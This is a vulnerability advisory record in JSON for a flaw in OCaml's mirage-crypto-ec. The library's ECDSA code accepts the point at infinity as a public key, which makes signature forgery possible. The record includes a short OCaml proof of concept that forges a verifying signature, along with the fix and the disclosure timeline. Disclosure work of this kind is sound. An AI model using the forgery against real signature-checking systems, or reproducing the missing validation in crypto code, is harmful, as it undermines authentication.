{"id":"CVE-2026-87733","aliases":["CVE-2026-87733","OSEC-2026-13"],"related":[],"kind":"vulnerability","state":"published","title":"ECDSA accepts the point at infinity as a P256, P384, P521 public key","summary":"An issue was discovered in the mirage-crypto-ec function before 2.2.0 for OCaml. The ECDSA functions {P256,P384,P521}.Dsa.pub_of_octets accept 0x00, the encoding of the point at infinity, as a public key. With that public key, signatures can be forged without a private key.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"An issue was discovered in the mirage-crypto-ec function before 2.2.0 for OCaml. The ECDSA functions {P256,P384,P521}.Dsa.pub_of_octets accept 0x00, the encoding of the point at infinity, as a public key. With that public key, signatures can be forged without a private key.","source":"cvelist"},{"lang":"en","text":"`P256{,P384,P521}.Dsa.pub_of_octets` accepts 0x00, the encoding of the point at infinity, as a public key. The Diffie-Hellman path rejects that point (`point_of_octets`); the ECDSA path skips the same check. Under such a key a signature can be forged with no private key, as the repro shows.\n\nThe same class is treated as high severity elsewhere. CVE-2022-21449 (\"Psychic Signatures\", OpenJDK) let a blank ECDSA signature verify, and CVE-2020-0601 (\"CurveBall\", Windows CryptoAPI) accepted a crafted ECC public key for certificate validation. Both are missing-validation forgeries on the same primitive.\n\n## Solution\n\nCheck for point at infinity in `pub_of_octets`.\n\n## Reproduction\n\n```OCaml\nmodule Dsa = Mirage_crypto_ec.P256.Dsa\n\n(* 0x00 is the SEC1 encoding of the point at infinity A a signature using it can be forged for\n   any message with no private key. *)\nlet () =\n  Mirage_crypto_rng.(set_default_generator (create ~seed:\"forge\" (module Fortuna)));\n  let o_key = Result.get_ok (Dsa.pub_of_octets \"\\x00\") in\n  let z = Digestif.SHA256.(to_raw_string (digest_string \"transfer 1000eur to mallory\")) in\n  let r, _ = Dsa.sign ~key:(Result.get_ok (Dsa.priv_of_octets z)) ~k:z z in\n  let s = String.make 31 '\\000' ^ \"\\001\" in\n  Printf.printf \"0x00 accepted as a public key:    %b\\n\" (Result.is_ok (Dsa.pub_of_octets \"\\x00\"));\n  Printf.printf \"forged (r, s=1) verifies under O:  %b\\n\" (Dsa.verify ~key:o_key (r, s) z)\n```\n\n## Timeline\n\n- June 25th 2026: report to ocaml/security-advisories\n- June 29th: acknowledgement of issue with several questions for the reporter\n- July 6th: answers from reporter, including a patch\n- July 27th: release of mirage-crypto 2.2.0 and security advisory","format":"markdown","source":"osec"}],"published":"2026-07-27T19:00:00.000Z","modified":"2026-11-06T13:45:05.723Z","severity":{"scorer":"mitre","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","score":6.2,"rating":"MEDIUM"},"severities":[{"scorer":"mitre","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","score":6.2,"rating":"MEDIUM"},{"scorer":"OCaml Security Advisories","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","score":6.2,"rating":"MEDIUM"}],"cwes":["CWE-295"],"affected":[{"ranges":[{"type":"semver","introduced":"0","fixed":"2.2.0","status":"affected"}],"vendor":"OCaml","product":"mirage-crypto-ec","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"2.2.0"}],"ecosystem":"opam","package":"mirage-crypto-ec","purl":"pkg:opam/mirage-crypto-ec","source":"osec"},{"ranges":[{"type":"git","introduced":"0","status":"affected","fixed":"ca84f5ee8ede80bd1dd2aa4cd7cc90197752184e"}],"repo":"https://github.com/mirage/mirage-crypto.git","source":"osec"}],"references":[{"url":"https://osv.dev/vulnerability/OSEC-2026-13","tags":["exploit"],"sources":["cvelist","nvd"]}],"credits":["Thomas Gazagnaire","Hannes Mehnert"],"assigner":"mitre","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"partial","date":"2026-09-09T13:02:29.178Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-87733","url":"https://www.cve.org/CVERecord?id=CVE-2026-87733","licence":"CVE Terms of Use","modified":"2026-09-09T13:02:51.213Z"},{"source":"osec","name":"OCaml Security Advisories","id":"OSEC-2026-13","url":"https://osv.dev/vulnerability/OSEC-2026-13","licence":"CC0-1.0","modified":"2026-11-06T13:45:05.723Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-87733","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-87733","licence":"Public domain","modified":"2026-09-09T16:04:24.933Z"}],"updatedAt":"2026-11-25T22:59:37.701Z","epss":{"score":0.00147,"percentile":0.04161,"date":"2026-12-01T12:00:22.000Z"}}